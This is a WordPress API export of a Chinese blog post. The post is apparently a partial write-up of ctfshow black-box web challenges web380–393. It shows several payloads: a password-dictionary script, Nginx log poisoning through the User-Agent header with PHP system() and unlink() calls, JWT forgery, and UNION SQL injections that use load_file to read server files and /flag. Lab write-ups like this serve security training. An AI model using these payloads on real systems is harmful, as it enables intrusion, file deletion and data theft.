{"id":234,"date":"2021-07-17T10:48:39","date_gmt":"2021-07-17T02:48:39","guid":{"rendered":"http:\/\/101.34.19.194\/?p=234"},"modified":"2021-08-04T12:08:36","modified_gmt":"2021-08-04T04:08:36","slug":"ctfshow-%e9%bb%91%e7%9b%92%e6%b5%8b%e8%af%95%e6%9c%aa%e5%85%a8","status":"publish","type":"post","link":"http:\/\/101.34.19.194\/?p=234","title":{"rendered":"ctfshow-\u9ed1\u76d2\u6d4b\u8bd5(\u672a\u5168"},"content":{"rendered":"\n

ctfshow\u2014\u9ed1\u76d2\u6d4b\u8bd5<\/h1>\n\n\n\n

web380<\/h2>\n\n\n\n

\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e<\/p><\/blockquote>\n\n\n\n

\u5f00\u542f\u73af\u5883\u540e\uff0c\u8fdb\u5165\u754c\u9762\uff0c\u662f\u7c7b\u4f3c\u4e00\u4e2a\u535a\u5ba2\u7cfb\u7edf<\/p>\n\n\n\n

\u6ca1\u4ec0\u4e48\u7279\u522b\u5f02\u5e38\u7684\u4e1c\u897f<\/p>\n\n\n\n

\u6709\u8bb8\u591a\u6587\u7ae0\uff0c\u968f\u673a\u70b9\u5165\u4e00\u4e2a\u6587\u7ae0\uff0c\u89c2\u5bdf\u5230url\u4e0a\uff0c\u4e3apage_1.php<\/code><\/p>\n\n\n\n

\"image-20210714235503438\"\/<\/div><\/figure>\n\n\n\n

\u5c1d\u8bd5page_2.php<\/code>\uff0c\u8fdb\u5165\u7b2c\u4e8c\u4e2a\u6587\u7ae0<\/p>\n\n\n\n

\u5c1d\u8bd5\u53bb\u6389\u4e0b\u5212\u7ebf\uff0cpage.php<\/code><\/p>\n\n\n\n

\"image-20210714235605385\"\/<\/div><\/figure>\n\n\n\n

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\"image-20210714235706824\"\/<\/div><\/figure>\n\n\n\n

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\"image-20210714235812684\"\/<\/div><\/figure>\n\n\n\n

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web381<\/h2>\n\n\n\n

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\"image-20210715003308651\"\/<\/div><\/figure>\n\n\n\n

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\"image-20210715003403155\"\/<\/div><\/figure>\n\n\n\n

web382<\/h2>\n\n\n\n

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\"image-20210715115554736\"\/<\/div><\/figure>\n\n\n\n

web383<\/h2>\n\n\n\n

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web384<\/h2>\n\n\n\n

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\u5199\u811a\u672c\u51fa\u5b57\u5178<\/p>\n\n\n\n

import string
s1 = string.ascii_lowercase
s2 = string.digits
f = open('dict','w');
for a in s1:
    for b in s1:
        for c in s2:
            for d in s2:
                for e in s2:
                    p = a+b+c+d+e
                    f.write(p+'\\n')
f.close()<\/code><\/pre>\n\n\n\n
\u8d26\u53f7admin\uff0c\u5bc6\u7801xy123<\/p>\n\n\n\n
web385<\/h2>\n\n\n\n
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\"image-20210715172320088\"\/<\/div><\/figure>\n\n\n\n
\u8bbf\u95ee\uff0c\u5f97\u5230\u5982\u4e0b<\/p>\n\n\n\n
\"image-20210715172350429\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u8bbf\u95eeinstall\/?install<\/code>\uff0c\u91cd\u7f6e\u4f1a\u5bc6\u7801\uff0c\u8bbf\u95ee\u540e\u53f0\u754c\u9762\u767b\u5f55\u62ff\u5230flag<\/p>\n\n\n\n
web386<\/h2>\n\n\n\n
\u626b\u63cf\u540e\u53f0\uff0c\u6709install.php\u548cclear.php<\/p>\n\n\n\n
\u8bbf\u95eeinstall\u63d0\u793a\u5df2\u7ecf\u5b89\u88c5\u5b8c\u6210\uff0c\u5e76\u7531lock.dat\u9501\u4f4f\u4e0d\u8ba9\u91cd\u7f6e<\/p>\n\n\n\n
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\"image-20210715173032036\"\/<\/div><\/figure>\n\n\n\n
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\"image-20210715173257839\"\/<\/div><\/figure>\n\n\n\n
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\u7136\u540e\u8bbf\u95ee\/install<\/p>\n\n\n\n
\"image-20210715173349478\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u5c31\u8ddf\u4e0a\u9898\u4e00\u6837\u505a\u6cd5<\/p>\n\n\n\n
web387<\/h2>\n\n\n\n
\u626b\u63cf\u540e\u53f0\u626b\u5230\u4e86\u989d\u5916\u7684\/debug<\/code><\/p>\n\n\n\n
\"image-20210716104455864\"\/<\/div><\/figure>\n\n\n\n
\u5c1d\u8bd5\u8bbf\u95ee\uff0c\u53d1\u73b0file not exit<\/code><\/p>\n\n\n\n
\u90a3\u4e48\u5728\u540e\u9762\u6dfb\u52a0\u53c2\u6570?file=\/var\/html\/www\/clear.php<\/code>\u770b\u80fd\u4e0d\u80fd\u8c03\u7528clear.php<\/p>\n\n\n\n
\"image-20210716104635894\"\/<\/div><\/figure>\n\n\n\n
\u53d1\u73b0\u8fd9\u4e2a\u4f5c\u7528\u8ddf\u76f4\u63a5\u8bbf\u95eeclear.php<\/code>\u662f\u4e00\u6837\u7684\uff0c\u76f8\u5f53\u4e8e\u76f4\u63a5\u6267\u884c<\/p>\n\n\n\n
\u7136\u540e\u53d1\u73b0\u53ef\u4ee5\u6253\u5f00\u65e5\u5fd7\u6587\u4ef6\uff1a\/debug\/?file=\/var\/log\/nginx\/access.log<\/code><\/p>\n\n\n\n
\"image-20210716105415429\"\/<\/div><\/figure>\n\n\n\n
\u505a\u6cd5\u4e00<\/h3>\n\n\n\n
\u7136\u540e\u6dfb\u52a0User-Agent<\/code>\u5c1d\u8bd5\u5220\u9664lock.dat\u6587\u4ef6<\/p>\n\n\n\n
<?php unlink('\/var\/www\/html\/install\/lock.dat')?><\/code><\/p>\n\n\n\n
\u8bbf\u95ee\/debug<\/code>\u518d\u8bbf\u95ee\/debug\/?file=\/var\/log\/nginx\/access.log<\/code>\u5199\u5165\u6587\u4ef6<\/p>\n\n\n\n
\u518d\u8bbf\u95ee\/install\/<\/code>\uff0c\u53d1\u73b0\u5df2\u7ecf\u5220\u9664<\/p>\n\n\n\n
\"image-20210716112433468\"\/<\/div><\/figure>\n\n\n\n
\u5269\u4e0b\u505a\u6cd5\u5982\u524d\u9898<\/p>\n\n\n\n
\u505a\u6cd5\u4e8c<\/h3>\n\n\n\n
\u6dfb\u52a0User-Agent<\/code>\uff0c\u6267\u884c\u547d\u4ee4\u7ed3\u679c\u5199\u51651.txt<\/p>\n\n\n\n
<?php system('ls \/ >\/var\/www\/html\/1.txt');?><\/code><\/p>\n\n\n\n
\u8bbf\u95ee\/debug<\/code>\u518d\u8bbf\u95ee\/debug\/?file=\/var\/log\/nginx\/access.log<\/code>\u5199\u5165\u6587\u4ef6<\/p>\n\n\n\n
\u518d\u8bbf\u95ee\/1.txt<\/code><\/p>\n\n\n\n
\"image-20210716113039709\"\/<\/div><\/figure>\n\n\n\n
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\u505a\u524d\u9762\u9898\u53d1\u73b0\uff0c\u6bcf\u6b21\u767b\u5f55\u540e\u53f0\u65f6\u53d1\u73b0url\u4e0a\u90fd\u662f\u6267\u884ccheck.php<\/p>\n\n\n\n
\u731c\u6d4bflag\u5728check.php<\/p>\n\n\n\n
\u90a3\u4e48\u67e5\u770bcheck.php\u7684\u7ed3\u679c\u5199\u5165\u6587\u4ef6\u5185<\/p>\n\n\n\n
<?php system('cat \/var\/www\/html\/alsckdfy\/check.php >\/var\/www\/html\/1.txt');?><\/code><\/p>\n\n\n\n
\"image-20210716113418196\"\/<\/div><\/figure>\n\n\n\n
web388<\/h2>\n\n\n\n
\u65b9\u6cd5\u548cweb387\u4e00\u6837\uff0c\u53ea\u662f\u6ca1\u6709\u56de\u663e<\/p>\n\n\n\n
web389<\/h2>\n\n\n\n
\u6761\u4ef6\u53cd\u5c04 JWT<\/p><\/blockquote>\n\n\n\n
\u626b\u63cf\u5230\u4f9d\u7136\u6709\/debug\u540e\u95e8\uff0c\u8bbf\u95ee<\/p>\n\n\n\n
\"image-20210716125922433\"\/<\/div><\/figure>\n\n\n\n
\u6743\u9650\u4e0d\u8db3\uff0c\u6ca1\u767b\u5f55\uff0c\u5e94\u8be5\u9700\u8981admin\u6743\u9650<\/p>\n\n\n\n
\u67e5\u770bcookie\uff0ceyJh\u5f00\u5934\uff0c\u6761\u4ef6\u53cd\u5c04 JWT<\/p>\n\n\n\n
\"image-20210716130011853\"\/<\/div><\/figure>\n\n\n\n
\u53bbJWT\u7f51\u7ad9\u4fee\u6539\u52a0\u5bc6\uff1aJSON Web Tokens – jwt.io<\/a><\/p>\n\n\n\n
\u5728user\u5904\u6539\u6210admin\uff0c\u4e0b\u65b9\u968f\u673a\u751f\u6210\u5bc6\u94a5<\/p>\n\n\n\n
\"image-20210716130138402\"\/<\/div><\/figure>\n\n\n\n
\u52a0\u5bc6\u540e\u4fee\u6539cookie\uff0c\u518d\u6b21\u8bbf\u95ee\u5c31\u5982\u4e0a\u51e0\u9898\u4e00\u6837\u505a<\/p>\n\n\n\n
web390<\/h2>\n\n\n\n
\u4fee\u6539JWT\u6761\u4ef6\u53cd\u5c04\u4e0d\u884c\u4e86\uff0c\u53ea\u80fd\u70b9\u70b9\u6587\u7ae0\u770b\u770b<\/p>\n\n\n\n
\u53d1\u73b0\u6587\u7ae0\u4e0a\u7684url\u7f16\u7801\u6362\u4e86\uff0c\u53d8\u6210\u4e86<\/p>\n\n\n\n
\/page.php?id=1<\/code>\uff0c\u53ef\u80fd\u5b58\u5728sql\u6ce8\u5165<\/p>\n\n\n\n
page.php?id=1 union select 1,2,3 limit 1,1 #<\/code><\/p>\n\n\n\n
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\u5229\u7528sql\u6ce8\u5165\u8bfb\u53d6\u6587\u4ef6<\/p>\n\n\n\n
\/page.php?id=1 union select 1,(select username from admin_user),substr((select load_file('\/var\/www\/html\/alsckdfy\/check.php')),1,255) limit 1,1 #<\/code><\/p>\n\n\n\n
php\u4ee3\u7801\u88ab\u6ce8\u91ca\uff0c\u5728\u5143\u7d20\u4e2d\u770b\u5230<\/p>\n\n\n\n
\"image-20210716134537687\"\/<\/div><\/figure>\n\n\n\n
web391<\/h2>\n\n\n\n
\u591a\u4e86\u4e2a\u641c\u7d22\u6846\uff0c\u731c\u6d4b\u641c\u7d22\u4e3a\u6ce8\u5165\u70b9<\/p>\n\n\n\n
\"image-20210717002256615\"\/<\/div><\/figure>\n\n\n\n
\u539f\u7406\u4e00\u6837\uff0c\u53ea\u662f\u6ce8\u5165\u65b9\u5f0f\u4e0d\u4e00\u6837<\/p>\n\n\n\n
search.php?title=a' union select 1,(select username from admin_user),substr((select load_file('\/var\/www\/html\/alsckdfy\/check.php')),1,255) limit 1,1 %23<\/code><\/p>\n\n\n\n
web392<\/h2>\n\n\n\n
flag\u4e0d\u5728check.php\u4e86\uff0c\u5c1d\u8bd5\u53d1\u73b0\u5728\u6839\u76ee\u5f55<\/p>\n\n\n\n
\/search.php?title=a' union select 1,(select username from admin_user),substr((select load_file('\/flag')),1,255) limit 0,1 %23<\/code><\/p>\n\n\n\n
web393<\/h2>\n","protected":false},"excerpt":{"rendered":"
ctfshow\u2014\u9ed1\u76d2\u6d4b\u8bd5 web380 \u6587\u4ef6\u5305\u542b\u6f0f\u6d1e \u5f00\u542f\u73af\u5883\u540e\uff0c\u8fdb\u5165\u754c\u9762\uff0c\u662f\u7c7b\u4f3c\u4e00\u4e2a\u535a\u5ba2\u7cfb\u7edf \u6ca1\u4ec0\u4e48\u7279\u522b\u5f02\u5e38 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[17],"tags":[15],"_links":{"self":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/234"}],"collection":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=234"}],"version-history":[{"count":1,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/234\/revisions"}],"predecessor-version":[{"id":235,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/234\/revisions\/235"}],"wp:attachment":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=234"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=234"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=234"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}